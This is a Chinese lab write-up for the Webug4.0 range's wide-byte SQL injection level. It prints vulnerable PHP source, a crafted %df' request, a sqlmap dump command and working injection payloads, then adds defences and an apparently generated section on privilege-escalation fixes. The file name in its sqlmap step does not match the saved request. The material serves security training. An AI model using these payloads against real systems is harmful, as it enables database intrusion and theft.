Webug4.0靶场通关笔记06- 第6关SQL宽字节注入

目录

一、宽字节注入原理

二、第06关 宽字节注入渗透实战

1、打开靶场

2、源码分析

3、sqlmap注入

 (1)bp抓包保存

 (2)sqlmap注入

 (3)获取flag

三、SQL注入防御


本文通过《Webug4.0靶场通关笔记系列》来进行Webug4.0靶场的渗透实战,本文讲解Webug4.0靶场第6关宽字节注入的渗透实战。

一、宽字节注入原理

宽字节注入是一种特殊类型的SQL注入风险,主要影响使用GBK、BIG5等多字节编码的数据库系统。其核心原理是利用数据库和应用程序对字符编码处理的差异,导致转义字符(如反斜杠\)被"吞并"到宽字符中,从而使原本的转义失效。宽字节注入的原理如下所示。

  1. 编码差异:GBK编码中,某些字符(如%bf%5c)组合会被识别为一个完整字符

  2. 转义失效:攻击者精心构造的%bf'与系统添加的转义符\%5c)组合成合法字符

  3. 注入成功:剩余的单引号未被转义,破坏SQL语句结构

以下是一些宽字节注入中常用的编码及相关说明,以表格形式呈现:

编码类型说明示例
GBK常见的中文字符集,一个汉字由两个字节表示。在宽字节注入中常被利用,因为某些特殊字符组合可绕过单引号转义。%df' 在 GBK 中会被解析为一个宽字节字符,可用于逃逸单引号。
BIG5繁体中文字符集,同样是双字节编码。类似于 GBK,也可能存在宽字节注入风险。%a1%a2 等组合可能被利用。

二、第06关 宽字节注入渗透实战

1、打开靶场

打开webug4靶场的第06关卡宽字节注入,URL地址如下所示。

http://192.168.71.1/webug4/control/sqlinject/width_byte_injection.php?id=1

2、源码分析

分析webug4靶场的第06关卡宽字节注入的源码,这段 PHP 代码实现了一个 SQL 注入攻击演示页面的后端逻辑。首先检查用户会话,未登录则跳转登录页。接着处理 GET 请求的 id 参数,使用 addslashes 过滤单引号,并设置数据库连接字符集为 gbk。随后拼接 SQL 查询语句SELECT * FROM sqlinjection WHERE id = '{$id}'并执行,查询失败时输出错误信息。最后包含模板文件显示查询结果或错误页面。该代码存在明显 SQL 注入风险,未使用预处理语句,攻击者可通过构造特殊 id 参数绕过过滤执行任意 SQL 命令具体如下所示。

<?php

require_once "../../common/common.php";
if (!isset($_SESSION['user'])) {
    header("Location:../login.php");
}

if (isset($_GET["id"])) {
    if (!empty($_GET["id"])) {
        // 过滤引号
        $id = addslashes($_GET['id']);
        $dbConnectWidth->query("SET names 'gbk'");
        $sql = "SELECT * FROM sqlinjection WHERE id = '{$id}'";
        $res = $dbConnectWidth->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);
    }
}
require_once TPMELATE."/manifest-error-injection.html";

对其中关键代码进行注释,如下所示。

// 检查是否存在id参数
if (isset($_GET["id"])) {
    // 检查id参数是否非空
    if (!empty($_GET["id"])) {
        // 使用addslashes对输入进行转义(主要转义单引号等特殊字符)
        $id = addslashes($_GET['id']);
        
        // 设置数据库连接使用GBK编码(危险操作)
        $dbConnectWidth->query("SET names 'gbk'");
        
        // 构造SQL查询语句(直接将用户输入拼接到SQL中)
        $sql = "SELECT * FROM sqlinjection WHERE id = '{$id}'";
        
        // 执行查询,如果失败则输出错误信息和SQL语句(安全隐患)
        $res = $dbConnectWidth->query($sql) or die("Invalid query: " . mysqli_stmt_error(). $sql);
    }
}

 如上所示,SQL语句对GET型参数输入id进行了转移,故而存在普通的字符型SQL注入语句不能渗透成功,但是脚本中使用gbk编码,这也说明存在宽字节注入风险。

  • SQL注入成因组合

    • SET names 'gbk':强制使用GBK宽字符编码,这导致很大概率会有宽字节注入风险。

    • addslashes():使用PHP的转义函数。

    • 直接SQL拼接:'{$id}'直接将用户输入嵌入SQL。

  • 攻击原理

    • 当输入%bf'时:

      • addslashes()会将其转义为%bf\'%bf%5c%27)。

      • 在GBK编码中,%bf%5c会被解析为一个中文字符"縗"。

      • 剩余的单引号%27未被转义,破坏SQL结构。

    • 最终SQL语句变为如下形式:

SELECT * FROM sqlinjection WHERE id = '縗' OR 1=1 -- '

3、sqlmap注入

 (1)bp抓包保存

在渗透的过程中,bp拦截报文并将报文保存为webug06.txt。

修改webug06.txt,在注入点id处尾部加上%df 然后加入注释符%23,并在闭合符号'与注释符中间加上*,如下所示。

GET /webug4/control/sqlinject/width_byte_injection.php?id=1%df'*%23 HTTP/1.1
Host: 192.168.71.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.71.1/webug4/control/we_bug_env.php
Cookie: PHPSESSID=n5mmqjrmgn3fou55o8pbkeb8r7
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

 (2)sqlmap注入

sqlmap -r webug07.txt --current-db --batch -D webug  -T env_list  --dump  

如下所示渗透成功。

---
Parameter: #1* (URI)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: http://192.168.71.1:80/webug4/control/sqlinject/width_byte_injection.php?id=1%df' AND 4068=4068#
    Vector: AND [INFERENCE]

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: http://192.168.71.1:80/webug4/control/sqlinject/width_byte_injection.php?id=1%df' AND (SELECT 1835 FROM (SELECT(SLEEP(5)))hRSI)#
    Vector: AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: http://192.168.71.1:80/webug4/control/sqlinject/width_byte_injection.php?id=1%df' UNION ALL SELECT NULL,CONCAT(0x7170707171,0x72625851486b4e4644685346714e41684169784978616d6c4f76785a68646f57667a48634964776c,0x71626a6b71)-- -#
    Vector:  UNION ALL SELECT NULL,[QUERY]-- -
---

 (3)获取flag

如下所示,渗透成功,flag为dfsadfsadfas。

三、SQL注入防御

  • 使用预编译语句:预编译语句会将数据和代码分离,避免恶意代码被当作 SQL 语句的一部分执行,例如使用 PDO 或 mysqli 的预编译功能。
  • 设置正确的字符集:确保 Web 应用、数据库连接和数据库本身的字符集设置一致,避免因字符集问题导致的SQL注入风险。
  • 进行严格的输入验证:不仅要过滤特殊字符,还要对输入的长度、类型等进行严格检查,确保输入符合预期。
### Web 安全靶场 Webug 4.0 中越权修改密码的解决方案 在 Web 应用程序的安全测试中,“越权访问”是种常见的漏洞,指的是未经授权的用户能够执行超出其权限范围的操作。对于 Webug 4.0 靶场中的越权修改密码场景,以下是详细的分析与解决方法。 #### 背景描述 在 Webug 4.0 的设计中,存在种典型的越权行为模式:攻击者可以通过篡改 HTTP 请求参数(如 `id` 字段),从而冒充其他用户的身份并修改目标用户的密码[^4]。这种漏洞通常源于应用程序未对操作对象的有效性和当前登录用户的权限进行严格验证。 --- #### 技术原理剖析 越权漏洞的核心原因在于服务器端缺乏有效的身份校验机制。具体表现为以下几点: 1. **请求参数未经验证** 当前用户发送的请求可能携带了非法的目标用户 ID 参数(例如 `id=0` 表示管理员)。如果服务端仅依赖前端传递的数据而未进步确认该数据的真实性,则可能导致越权。 2. **缺少细粒度授权控制** 如果应用未能区分不同角色之间的权限边界,就容易让低权限用户获得高权限功能的使用权。 3. **会话管理不当** 即使实现了基于会话的身份认证,但如果会话状态没有绑定到具体的资源访问上下文中,也可能引发类似的越权问题。 --- #### 解决方案实现 针对上述问题,可以从以下几个方面入手来修复此漏洞: ##### 1. 强化后端逻辑校验 每次接收到涉及敏感操作(如更改密码)的请求时,应强制核对该操作是否由合法主体发起。这可通过比较当前已登录账户的信息与待处理记录所属实体的致性完成。例如,在 PHP 或 Python 后端代码中加入如下片段以确保只有本人能重置自己的密码: ```php <?php // 假设 $_SESSION['user_id'] 存储着当前登录者的唯标识符 if ($_POST['target_user_id'] != $_SESSION['user_id']) { die('Access Denied'); // 若两者不符则拒绝继续运行后续脚本 } ?> ``` 或者采用更现代化的语言框架编写类似防护措施: ```python from flask import session, request, abort def change_password(): target_user_id = int(request.form.get('target_user_id')) current_user_id = session.get('user_id') if target_user_id != current_user_id: abort(403) # 返回HTTP Forbidden响应码表示无权访问 # 正常业务流程... ``` 以上两段伪代码均体现了只允许用户对自己账号实施特定变更的原则。 ##### 2. 实施严格的 RBAC (Role-Based Access Control) 引入基于角色的访问控制系统有助于细化各类人员所能触及的功能模块及其内部细节。通过预先定义好的策略组合判定谁可以在何时何地做什么事情,进而减少因疏忽造成的安全隐患。 例如,在 MySQL 数据库表结构层面增加字段用于标记每条记录联的角色类别,并据此调整查询语句条件部分的内容以便筛选出符合条件的结果集之前先过滤掉不符合要求的部分。 ##### 3. 利用 CSRF Token 提升安全性 为了防止恶意站点诱导受害者提交伪造跨站请求(CSRF),建议结合随机生成且难以预测的次性令牌(Token)同嵌入至 HTML 表单之中并与对应 Session 绑定起来共同参与最终判断过程。这样即使黑客截获到了原始 POST 请求也无法轻易复制粘贴成功模拟真实交互动作。 --- #### 总结说明 综上所述,要彻底杜绝此类越权现象的发生除了加强开发阶段的设计考量之外还需要持续注最新威胁情报动态及时修补发现的新缺陷。同时也要提醒广大开发者时刻牢记安全的理念贯穿整个软件开发生命周期始终。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

mooyuan天天

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值